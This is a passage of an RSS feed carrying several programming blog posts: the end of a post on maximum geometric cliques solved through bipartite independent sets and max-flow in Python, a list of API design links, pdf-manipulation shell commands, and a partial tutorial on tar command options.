            if distance(xi, yi, xk, yk) &amp;gt; F: continue
            if distance(xj, yj, xk, yk) &amp;gt; F: continue

            lens.append(points[k])
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;a href="https://svbtleusercontent.com/1rn8hmvwkuorq.png"&gt;&lt;img alt="Screenshot 2016-09-19 20.08.13.png" src="https://svbtleusercontent.com/1rn8hmvwkuorq_small.png" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Points inside the intersection of these two circles - the lens shape - are within &lt;code class="prettyprint"&gt;F&lt;/code&gt; of both points at the end of the line and &lt;code class="prettyprint"&gt;F &amp;lt;= D&lt;/code&gt;. I thought this way the end of the story. But we can’t simply select all of these points as a clique because they may not be within &lt;code class="prettyprint"&gt;D&lt;/code&gt; of each other. For example the top and bottom points in the lens shape might be further than &lt;code class="prettyprint"&gt;D&lt;/code&gt; apart so we need to do some more work.&lt;/p&gt;

&lt;p&gt;First note that all the points above the dotted lines are within &lt;code class="prettyprint"&gt;F&lt;/code&gt; and therefore &lt;code class="prettyprint"&gt;D&lt;/code&gt; of each other so they are a potential clique, as are points below the dotted line. But there may be a bigger clique incorporating points from both sides of the lines. If we pick a certain point below the line for our clique we are forbidden from picking any points more than &lt;code class="prettyprint"&gt;D&lt;/code&gt; away from that point. Incidentally these &lt;u&gt;forbidden&lt;/u&gt; points will all lie on the other side of the line. Take a moment, look at the picture above and make sure you are happy with that.&lt;/p&gt;

&lt;p&gt;Now lets separate the points inside the lens shape into two sets. Those above the dotted line and those below. This can be done buy taking the signed area of the triangle created between the two points at the end of the line and the point in question. If the area is positive the point is above the line and is it’s negative it’s below the line.&lt;/p&gt;

&lt;pre&gt;&lt;code class="prettyprint lang-python"&gt;top, bot = [], []
        M = len(lens)

        for k in xrange(M):
            xk, yk = lens[k]

            if area((xi, yi), (xj, yj), (xk, yk)) &amp;gt;= 0:
                top.append(lens[k])
            else:
                bot.append(lens[k])
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;The situation is now like this:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://svbtleusercontent.com/yzkqab8nih7suw.png"&gt;&lt;img alt="Screenshot 2016-09-19 20.10.00.png" src="https://svbtleusercontent.com/yzkqab8nih7suw_small.png" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Let’s now treat each point as a vertex and connect vertices in one set with vertices in the other if they are further than &lt;code class="prettyprint"&gt;D&lt;/code&gt; away. Using fewer points so it’s not as cluttered the situation could look like this. Red lines denote points further than &lt;code class="prettyprint"&gt;D&lt;/code&gt; apart and some point don’t have edges connected to them. This is fine, it just means all points are within &lt;code class="prettyprint"&gt;D&lt;/code&gt; of them.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://svbtleusercontent.com/1tbc28fm0xulgg.png"&gt;&lt;img alt="Screenshot 2016-09-17 21.36.39.png" src="https://svbtleusercontent.com/1tbc28fm0xulgg_small.png" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We’ve now constructed a bipartite graph representing some of the geometric constraints we are interested in. So our task is to select the maximum number of points from this set such that we don’t have any two points connected by a red line because that means they are too far away. Vertices with no edges connected to them are freebies. They are within &lt;code class="prettyprint"&gt;D&lt;/code&gt; of all of points so there’s no reason not to pick them. &lt;/p&gt;

&lt;p&gt;Our problem of selecting the maximum number of vertices in a graph such that no two points have an incident edge is the problem of computing the &lt;a href="https://en.wikipedia.org/wiki/Independent_set_(graph_theory)"&gt;maximum independent set&lt;/a&gt; of a graph. This is unfortunately NP-Complete in a general graph but in a bi-partite graph the number of vertices in the maximum independent set equals the number of edges in a minimum &lt;a href="https://en.wikipedia.org/wiki/Edge_cover"&gt;edge covering&lt;/a&gt;. This in turn is equal to the &lt;a href="https://en.wikipedia.org/wiki/Maximum_flow_problem"&gt;maximum-flow&lt;/a&gt; of the graph. This series of dualities is called  &lt;a href="https://en.wikipedia.org/wiki/K%C5%91nig%27s_theorem_(graph_theory)"&gt;König’s theorem&lt;/a&gt;. &lt;/p&gt;

&lt;p&gt;Without the bi-partite structure, computing the maximum independent set is NP-Complete where as maximum-flow can be computed in a general graph in polynomial time. So we’re in much better shape. We compute the maximum flow of this graph and that value &lt;code class="prettyprint"&gt;f&lt;/code&gt; plus the number of nodes without edges &lt;code class="prettyprint"&gt;top_set&lt;/code&gt; and &lt;code class="prettyprint"&gt;bot_set&lt;/code&gt; plus &lt;code class="prettyprint"&gt;2&lt;/code&gt; for the end points of the line as our solution for that pair of points.&lt;/p&gt;

&lt;pre&gt;&lt;code class="prettyprint lang-python"&gt;def max_bipartite_independent(top, bot):

    graph = collections.defaultdict(dict)

    top_set = set( [i for i in xrange( len(top)) ])
    bot_set = set( [i for i in xrange( len(bot)) ])

    for i in xrange(len(top)):
        for j in xrange(len(bot)):

            xi, yi = top[i]
            xj, yj = bot[j]

            if distance(xi, yi, xj, yj) &amp;gt; F:

                node_i = 'TOP' + str(i)
                node_j = 'BOT' + str(j)

                src = 'SOURCE-NODE'
                snk = 'SINK-NODE'

                graph[node_i][node_j] = 1
                graph[src][node_i] = MAX_INT
                graph[node_j][snk] = MAX_INT

                top_set.discard(i)
                bot_set.discard(j)

    f = flow.max_flow(graph, 'SOURCE-NODE', 'SINK-NODE')
    solution = f + len(top_set) + len(bot_set) + 2
    return solution
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;There are a few different algorithms to compute maximum flow . The following is a simple implementation of the Ford-Fulkerson algorithm using Dijkstra’s algorithm to find augmenting paths. &lt;/p&gt;

&lt;pre&gt;&lt;code class="prettyprint lang-python"&gt;import Queue

def dijkstra(graph, source, sink):

  q = Queue.PriorityQueue()
  q.put((0, source, []))
  visited = set([source])

  while not q.empty():
    length, node, path = q.get()

      # Found a path return the capacity
    if node == sink:
      cap = None
      for a, b in path:
        if cap is None or graph[a][b] &amp;lt; cap:
          cap = graph[a][b]
      return cap, path

  # Visit next node
  for child in graph[node].keys():
    if not child in visited and graph[node][child] &amp;gt; 0:
      next_state = (length+1, child, path + [(node, child)])
      visited.add(child)
      q.put(next_state)

  # No paths remaining
  return None, None
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;And the remaining code to compute the maximum-flow of the graph:&lt;/p&gt;

&lt;pre&gt;&lt;code class="prettyprint lang-python"&gt;def max_flow(graph, source, sink):

    flow = 0

    while True:
        capacity, path = dijkstra(graph, source, sink)
        if not capacity: return flow

        for a, b in path:
            graph[a][b] = graph[a].get(b, 0) - capacity
            graph[b][a] = graph[b].get(a, 0) + capacity
        flow += capacity

    return flow
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Cool so we’ve finally go all the pieces needed to solve this problem. We try every pair of points &lt;code class="prettyprint"&gt;O(N^2)&lt;/code&gt; as the candidate for the two furtherest points in our clique then of the points the fall inside the lens we build a bipartite graph and compute the maximum independent set which corresponds to the maximum clique size. &lt;/p&gt;

&lt;p&gt;All in the algorithm takes &lt;code class="prettyprint"&gt;O(V^2)&lt;/code&gt; attempting each pair of candidates points. But with the maximum-flow inner loop it’s &lt;code class="prettyprint"&gt;O(V^5)&lt;/code&gt;. This appears to be optimal without using a faster maximum matcher. Full source code is &lt;a href="https://gist.github.com/nickponline/abce6170b96043a4c372feef590388d3"&gt;here&lt;/a&gt;, &lt;a href="https://gist.github.com/nickponline/8a25d6a393de50580dfe440693c6abc5"&gt;maximum flow code&lt;/a&gt; and a little &lt;a href="https://gist.github.com/nickponline/dcdd02adbb7b7bcd595e53349135cfd8"&gt;visualizer&lt;/a&gt;.  &lt;/p&gt;</description><author>Nicholas Pilkington</author><pubDate>Sun, 18 Sep 2016 04:57:18 GMT</pubDate><guid isPermaLink="true">https://nickp.svbtle.com/geometric-cliques</guid></item><item><title>API design bookmarks</title><link>https://xenodium.com/api-design-bookmarks</link><description>&lt;ul&gt;
&lt;li&gt;&lt;a href="http://blog.madewithlove.be/post/birdseye-view-on-api/"&gt;A bird's eye view on API development&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://msdn.microsoft.com/en-us/library/dd203052.aspx"&gt;A Guide to Designing and Building RESTful Web Services with WCF 3.5 (Microsoft)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://news.ycombinator.com/item?id=24383180"&gt;Ask HN: Suggestions for books about API design? | Hacker News&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.vinaysahni.com/best-practices-for-a-pragmatic-restful-api"&gt;Best Practices for Designing a Pragmatic RESTful API&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://apisyouwonthate.com/"&gt;Build APIs You Won't Hate&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://mollyrocket.com/casey/stream_0028.html"&gt;Designing and Evaluating Reusable Components&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://harrymoreno.com/2016/03/31/API-design-link-roundup.html"&gt;Harry Moreno | API Design Link Roundup&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://ozlabs.org/~rusty/index.cgi/tech/2008-03-30.html"&gt;How Do I Make This Hard to Misuse?&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://static.googleusercontent.com/media/research.google.com/en//pubs/archive/32713.pdf"&gt;How to Design a Good API and Why it Matters (Google)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=aAb7hSCtvGw"&gt;How To Design A Good API and Why it Matters - YouTube&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://sheredom.wordpress.com/2014/08/10/how-to-design-api-function-that-creates-something/"&gt;How to design API function creating objects&lt;/a&gt;: By Neil Henning.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://geemus.gitbooks.io/http-api-design/content/en/index.html"&gt;HTTP API Design Guide&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://jsonapi.org/"&gt;JSON API — A specification for building APIs in JSON&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/Microsoft/api-guidelines/blob/master/Guidelines.md"&gt;Microsoft REST API Guidelines&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://wooptoo.com/blog/notes-on-restful-apis/"&gt;Notes on RESTful APIs (Updated)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://bocoup.com/weblog/documenting-your-api"&gt;REST API Documentation Best Practices&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.restapitutorial.com/"&gt;REST API Tutorial&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=hdSrT4yjS1g"&gt;REST+JSON API Design - Best Practices for Developers - YouTube&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://drive.google.com/a/xenodium.com/file/d/0B8qU9uFznmLsUEZ3TEFMbDZQcUE/view"&gt;RESTful Service Design - UC Berkeley&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://sweng.the-davies.net/Home/rustys-api-design-manifesto"&gt;Rusty's API Design Manifesto&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.aristeia.com/Papers/IEEE_Software_JulAug_2004_revised.htm"&gt;Scott Meyers: The Most Important Design Guideline?&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://swift.org/documentation/api-design-guidelines/"&gt;Swift.org - API Design Guidelines&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.slideshare.net/landlessness/teach-a-dog-to-rest"&gt;Teach a Dog to REST&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://bradfults.com/the-best-api-documentation-b9e46400379a#.a7k8edhyc"&gt;The Best API Documentation&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www4.in.tum.de/~blanchet/api-design.pdf"&gt;The Little Manual of API Design (Jasmin Blanchette, Trolltech)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://drive.google.com/a/xenodium.com/file/d/0B8qU9uFznmLsdFBHS1I2c1ZLRkE/view"&gt;Web API Design - Crafting interfaces that developers love&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://programmingisterrible.com/post/139222674273/write-code-that-is-easy-to-delete-not-easy-to"&gt;Write code that is easy to delete, not easy to extend&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;</description><author>xenodium.com @alvaro</author><pubDate>Sun, 18 Sep 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/api-design-bookmarks</guid></item><item><title>Handy pdf utilities</title><link>https://xenodium.com/handy-pdf-utilities</link><description>&lt;p&gt;Straight out of &lt;a href="http://jvns.ca/blog/2016/08/29/how-i-made-a-zine"&gt;How (and why) I made a zine&lt;/a&gt;, some handy utilities for generating pdfs…&lt;/p&gt;
&lt;h2&gt;Convert pngs to pdfs&lt;/h2&gt;
&lt;pre&gt;&lt;code class="language-{.bash"&gt;# start with a bunch of PNG images of your zine pages
# convert them all to PDF
for i in *.png
   do
      # imagemagick is the best thing in the world
      convert $i $i.pdf
   done
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Combine pdfs&lt;/h2&gt;
&lt;p&gt;Combine pdfs using pdftk:&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-{.bash"&gt;pdftk *.pdf cat output zine.pdf
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Combine pdfs using poppler:&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-{.bash"&gt;pdf unite PDF1.pdf PDF2.pdf PDF3.pdf
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Reorder pdf pages&lt;/h2&gt;
&lt;pre&gt;&lt;code class="language-{.bash"&gt;# pdfmod is a GUI that lets you reorder pages
pdfmod zine.pdf
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Add margins to pdf&lt;/h2&gt;
&lt;pre&gt;&lt;code class="language-{.bash"&gt;# pdfcrop lets you add margins to the pdf. this is good because otherwise the
# printer will cut off stuff at the edges
pdfcrop --margin '29 29 29 29' zine.pdf zine-intermediate.pdf
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Turn pdf into booklet&lt;/h2&gt;
&lt;pre&gt;&lt;code class="language-{.bash"&gt;# pdfjam is this wizard tool that lets you take a normal ordered pdf and turn
# it into something you can print as a booklet on a regular printer.
# no more worrying about photocopying machines
pdfjam --booklet true --landscape --suffix book --letterpaper --signature 12 --booklet true --landscape zine-intermediate.pdf -o zine-booklet.pdf
&lt;/code&gt;&lt;/pre&gt;</description><author>xenodium.com @alvaro</author><pubDate>Sun, 18 Sep 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/handy-pdf-utilities</guid></item><item><title>Do You Speak Tar?</title><link>https://bfontaine.net/2016/09/17/do-you-speak-tar/</link><description>&lt;p&gt;&lt;img alt="xkcd comic #1168" class="center" src="/blog/images/tar.png" /&gt;&lt;/p&gt;

&lt;p&gt;For a lot of people, the GNU &lt;code class="language-plaintext highlighter-rouge"&gt;tar&lt;/code&gt; command’s options seem obscure and hard to
use. The most common ones exist only in a short form and always appear grouped
in the same order and often without a leading hyphen, e.g. &lt;code class="language-plaintext highlighter-rouge"&gt;tar xzvf
archive.tgz&lt;/code&gt; and not &lt;code class="language-plaintext highlighter-rouge"&gt;tar -v -z -x -f archive.tgz&lt;/code&gt;. Additionally, &lt;code class="language-plaintext highlighter-rouge"&gt;tar&lt;/code&gt; doesn’t
work without any “option”.&lt;/p&gt;

&lt;p&gt;These options, or rather these commands, can be seen as a (small) language that
you can learn to &lt;del&gt;speak,&lt;/del&gt; write or read. Each command has its own
meaning that sometimes depend on which other commands are used with it.&lt;/p&gt;

&lt;h2 id="the-grammar"&gt;The Grammar&lt;/h2&gt;

&lt;p&gt;&lt;code class="language-plaintext highlighter-rouge"&gt;tar&lt;/code&gt;’s sentences start with a verb. There’s no subject, because you’re giving
an order to &lt;code class="language-plaintext highlighter-rouge"&gt;tar&lt;/code&gt;. This verb is followed by zero or more modifiers that give
more context to the action. The last part is the object(s) on which the action
is made. Spaces are not needed between &lt;code class="language-plaintext highlighter-rouge"&gt;tar&lt;/code&gt;’s words because they all consist
of one letter.&lt;/p&gt;

&lt;h3 id="actions"&gt;Actions&lt;/h3&gt;

&lt;p&gt;The two most common actions are “&lt;u&gt;c&lt;/u&gt;reate” (&lt;code class="language-plaintext highlighter-rouge"&gt;c&lt;/code&gt;) and “e&lt;u&gt;x&lt;/u&gt;tract”
(&lt;code class="language-plaintext highlighter-rouge"&gt;x&lt;/code&gt;). The first one is used to &lt;em&gt;create&lt;/em&gt; an archive from some files; and the
second is used to &lt;em&gt;extract&lt;/em&gt; that archive in order to get back those files.&lt;/p&gt;

&lt;p&gt;All &lt;code class="language-plaintext highlighter-rouge"&gt;tar&lt;/code&gt; implementations support one more action: “lis&lt;u&gt;t&lt;/u&gt;” (&lt;code class="language-plaintext highlighter-rouge"&gt;t&lt;/code&gt;) to
&lt;em&gt;list&lt;/em&gt; an archive’s content without extracting it. Some implementations support
two variants of “&lt;u&gt;c&lt;/u&gt;reate” that are “append” (&lt;code class="language-plaintext highlighter-rouge"&gt;r&lt;/code&gt;) and “&lt;u&gt;u&lt;/u&gt;pdate”
(&lt;code class="language-plaintext highlighter-rouge"&gt;u&lt;/code&gt;). The former &lt;em&gt;appends&lt;/em&gt; files to an existing archive; the latter &lt;em&gt;updates&lt;/em&gt;
files in the archive for which there exist a more recent version.&lt;/p&gt;

&lt;p&gt;Unfortunately we now know all &lt;code class="language-plaintext highlighter-rouge"&gt;tar&lt;/code&gt; actions but can’t do much without knowing
how to apply them to an object. Let’s dive into objects and we’ll see the
modifiers later.&lt;/p&gt;

&lt;h3 id="objects"&gt;Objects&lt;/h3&gt;

&lt;p&gt;&lt;code class="language-plaintext highlighter-rouge"&gt;tar&lt;/code&gt; has a very limited set of objects: archives. Each &lt;code class="language-plaintext highlighter-rouge"&gt;tar&lt;/code&gt; command operates
on one archive, that is given by &lt;code class="language-plaintext highlighter-rouge"&gt;f&lt;/code&gt; (for “&lt;u&gt;f&lt;/u&gt;ile”) followed by its path.&lt;/p&gt;

&lt;p&gt;Files added or extracted from archives are simply given as extra arguments to
these commands without needing any special word.&lt;/p&gt;

&lt;p&gt;We’re now ready to write our first meaningful sentences.&lt;/p&gt;

&lt;p&gt;“Hey &lt;code class="language-plaintext highlighter-rouge"&gt;tar&lt;/code&gt;, please &lt;u&gt;c&lt;/u&gt;reate an archive &lt;u&gt;f&lt;/u&gt;ile &lt;code class="language-plaintext highlighter-rouge"&gt;foo.tar&lt;/code&gt; with &lt;code class="language-plaintext highlighter-rouge"&gt;file1&lt;/code&gt;
and &lt;code class="language-plaintext highlighter-rouge"&gt;file2&lt;/code&gt;” is written as &lt;code class="language-plaintext highlighter-rouge"&gt;tar cf foo.tar file1 file2&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;“E&lt;u&gt;x&lt;/u&gt;tract archive &lt;u&gt;f&lt;/u&gt;ile &lt;code class="language-plaintext highlighter-rouge"&gt;foo.tar&lt;/code&gt;” is written as &lt;code class="language-plaintext highlighter-rouge"&gt;tar xf foo.tar&lt;/code&gt;.
“Lis&lt;u&gt;t&lt;/u&gt; archive file &lt;code class="language-plaintext highlighter-rouge"&gt;foo.tar&lt;/code&gt;” is written as &lt;code class="language-plaintext highlighter-rouge"&gt;tar tf foo.tar&lt;/code&gt;. You get
the idea.&lt;/p&gt;

&lt;p&gt;Note that actions like “e&lt;u&gt;x&lt;/u&gt;tract” or “lis&lt;u&gt;t&lt;/u&gt;” accept additional
arguments for the file patterns you want to extract/list. Say you have a big
archive from which you only want to extract one &lt;code class="language-plaintext highlighter-rouge"&gt;important.txt&lt;/code&gt; file. Just give
this information to &lt;code class="language-plaintext highlighter-rouge"&gt;tar&lt;/code&gt; and it’ll kindly e&lt;u&gt;x&lt;/u&gt;tract it for you:&lt;/p&gt;

&lt;div class="language-plaintext highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;tar xf big-archive.tar important.txt
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;You might wonder what is this “&lt;u&gt;f&lt;/u&gt;ile” word for if we &lt;em&gt;always&lt;/em&gt; need it.
Well, we can remove it. But if we do so, our &lt;code class="language-plaintext highlighter-rouge"&gt;tar&lt;/code&gt; command doesn’t have any
object left, so it’ll look at something else: &lt;code class="language-plaintext highlighter-rouge"&gt;STDIN&lt;/code&gt; or &lt;code class="language-plaintext highlighter-rouge"&gt;STDOUT&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Actions that read archives operate on &lt;code class="language-plaintext highlighter-rouge"&gt;STDIN&lt;/code&gt; if you don’t give them a
&lt;u&gt;f&lt;/u&gt;ile object:&lt;/p&gt;

&lt;div class="language-sh highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="nb"&gt;cat &lt;/span&gt;big-archive.tar | &lt;span class="nb"&gt;tar &lt;/span&gt;x important.txt
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;You can also be explicit by giving &lt;code class="language-plaintext highlighter-rouge"&gt;-&lt;/code&gt; to &lt;code class="language-plaintext highlighter-rouge"&gt;f&lt;/code&gt;:&lt;/p&gt;

&lt;div class="language-sh highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="nb"&gt;cat &lt;/span&gt;big-archive.tar | &lt;span class="nb"&gt;tar &lt;/span&gt;xf - important.txt
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The “&lt;u&gt;c&lt;/u&gt;reate” action will output the archive on &lt;code class="language-plaintext highlighter-rouge"&gt;STDOUT&lt;/code&gt; if you don’t
give it a name (or use &lt;code class="language-plaintext highlighter-rouge"&gt;f -&lt;/code&gt;). You still need to give it the name of the files
to put in that archive:&lt;/p&gt;

&lt;div class="language-sh highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="nb"&gt;tar &lt;/span&gt;c file1 file2 &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; archive.tar
&lt;span class="c"&gt;# Same, but more explicit&lt;/span&gt;
&lt;span class="nb"&gt;tar &lt;/span&gt;cf - file1 file2 &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; archive.tar
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Note that you can’t e&lt;u&gt;x&lt;/u&gt;tract an archive to &lt;code class="language-plaintext highlighter-rouge"&gt;STDOUT&lt;/code&gt; without a modifier.
&lt;code class="language-plaintext highlighter-rouge"&gt;tar&lt;/code&gt; operates on files, not on data streams. By default it doesn’t compress
its content so &lt;u&gt;c&lt;/u&gt;reating a &lt;code class="language-plaintext highlighter-rouge"&gt;tar&lt;/code&gt; archive for one file doesn’t make much
sense.&lt;/p&gt;

&lt;p&gt;Now that we know how to write basic sentences, let’s add some modifiers to
them.&lt;/p&gt;

&lt;h3 id="modifiers"&gt;Modifiers&lt;/h3&gt;

&lt;p&gt;In my experience the most used modifiers are &lt;code class="language-plaintext highlighter-rouge"&gt;v&lt;/code&gt; and &lt;code class="language-plaintext highlighter-rouge"&gt;z&lt;/code&gt;. The first one is the
“&lt;u&gt;v&lt;/u&gt;erbose” flag and makes &lt;code class="language-plaintext highlighter-rouge"&gt;tar&lt;/code&gt; more chatty. When &lt;u&gt;c&lt;/u&gt;reating or
e&lt;u&gt;x&lt;/u&gt;tracting an archive it’ll print each file’s name as it’s (un)archiving
it. When lis&lt;u&gt;t&lt;/u&gt;ing an archive it’ll print more info about each file.
Compare both outputs below:&lt;/p&gt;

&lt;div class="language-console highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="gp"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;tar &lt;/span&gt;tf archive.tar
&lt;span class="go"&gt;file1
file2
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class="language-console highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="gp"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;tar &lt;/span&gt;tvf archive.tar
&lt;span class="go"&gt;-rw-r--r--  0 baptiste wheel   31425 18 sep 14:51 file1
-rw-r--r--  0 baptiste wheel   18410 18 sep 14:51 file2
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The &lt;code class="language-plaintext highlighter-rouge"&gt;v&lt;/code&gt; modifier can be combined with any other one mentioned below.&lt;/p&gt;

&lt;p&gt;&lt;code class="language-plaintext highlighter-rouge"&gt;z&lt;/code&gt; will tell &lt;code class="language-plaintext highlighter-rouge"&gt;tar&lt;/code&gt; to use G&lt;u&gt;z&lt;/u&gt;ip to (de)compress the archive. Nowadays
&lt;code class="language-plaintext highlighter-rouge"&gt;tar&lt;/code&gt;-ing with no compression is rarely used, and Gzip is ubiquitous. Just add
&lt;code class="language-plaintext highlighter-rouge"&gt;z&lt;/code&gt; to your modifiers and &lt;code class="language-plaintext highlighter-rouge"&gt;tar&lt;/code&gt; will &lt;u&gt;c&lt;/u&gt;reate compressed archive and
e&lt;u&gt;x&lt;/u&gt;tract them. The convention is to use &lt;code class="language-plaintext highlighter-rouge"&gt;.tar.gz&lt;/code&gt; or &lt;code class="language-plaintext highlighter-rouge"&gt;.tgz&lt;/code&gt; for such
archives:&lt;/p&gt;

&lt;div class="language-sh highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="nb"&gt;tar &lt;/span&gt;czf archive.tar.gz file1 file2
&lt;span class="c"&gt;# Later…&lt;/span&gt;
&lt;span class="nb"&gt;tar &lt;/span&gt;xzf archive.tar.gz
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Other common modifiers include &lt;code class="language-plaintext highlighter-rouge"&gt;j&lt;/code&gt; that works exactly like &lt;code class="language-plaintext highlighter-rouge"&gt;z&lt;/code&gt; but (de)compress
using Bzip2 instead of Gzip. Such archives usually end with &lt;code class="language-plaintext highlighter-rouge"&gt;.tar.bz2&lt;/code&gt; or
&lt;code class="language-plaintext highlighter-rouge"&gt;.tbz2&lt;/code&gt;. It’s not named &lt;code class="language-plaintext highlighter-rouge"&gt;b&lt;/code&gt; or &lt;code class="language-plaintext highlighter-rouge"&gt;B&lt;/code&gt; because &lt;a href="https://superuser.com/q/441563/95929#comment511048_441563"&gt;those were already taken&lt;/a&gt; when
this modifier was introduced.&lt;/p&gt;

&lt;p&gt;Similarly to &lt;code class="language-plaintext highlighter-rouge"&gt;j&lt;/code&gt; one can use its capital friend, &lt;code class="language-plaintext highlighter-rouge"&gt;J&lt;/code&gt;. This one compresses using
&lt;code class="language-plaintext highlighter-rouge"&gt;xz&lt;/code&gt; instead of the last Gzip or Bzip2. These archives use the extensions
&lt;code class="language-plaintext highlighter-rouge"&gt;.tar.xz&lt;/code&gt; or &lt;code class="language-plaintext highlighter-rouge"&gt;.txz&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Note you can also (de)compress archives by yourself if you don’t remember these
modifiers:&lt;/p&gt;

&lt;div class="language-sh highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="nb"&gt;tar &lt;/span&gt;cf myarchive.tar file1 file2
&lt;span class="nb"&gt;gzip &lt;/span&gt;myarchive.tar
&lt;span class="c"&gt;# Later…&lt;/span&gt;
&lt;span class="nb"&gt;gunzip &lt;/span&gt;myarchive.tar
&lt;span class="nb"&gt;tar &lt;/span&gt;xf myarchive.tar
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;There is a dozen of other modifiers you can find in the manpage, but let’s
mention two more: &lt;code class="language-plaintext highlighter-rouge"&gt;O&lt;/code&gt; and &lt;code class="language-plaintext highlighter-rouge"&gt;k&lt;/code&gt;. You may remember from the first section that I
wrote you can’t e&lt;u&gt;x&lt;/u&gt;tract an archive to &lt;code class="language-plaintext highlighter-rouge"&gt;STDOUT&lt;/code&gt; without a modifier. Well,
that modifier is called &lt;code class="language-plaintext highlighter-rouge"&gt;O&lt;/code&gt;:&lt;/p&gt;

&lt;div class="language-sh highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="nb"&gt;tar &lt;/span&gt;xOf myarchive.tar
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Using &lt;code class="language-plaintext highlighter-rouge"&gt;O&lt;/code&gt; when e&lt;u&gt;x&lt;/u&gt;tracting will print the content of the archive on
&lt;code class="language-plaintext highlighter-rouge"&gt;STDOUT&lt;/code&gt;. This is the same output as you would get by calling &lt;code class="language-plaintext highlighter-rouge"&gt;cat&lt;/code&gt; on all the
files in it.&lt;/p&gt;

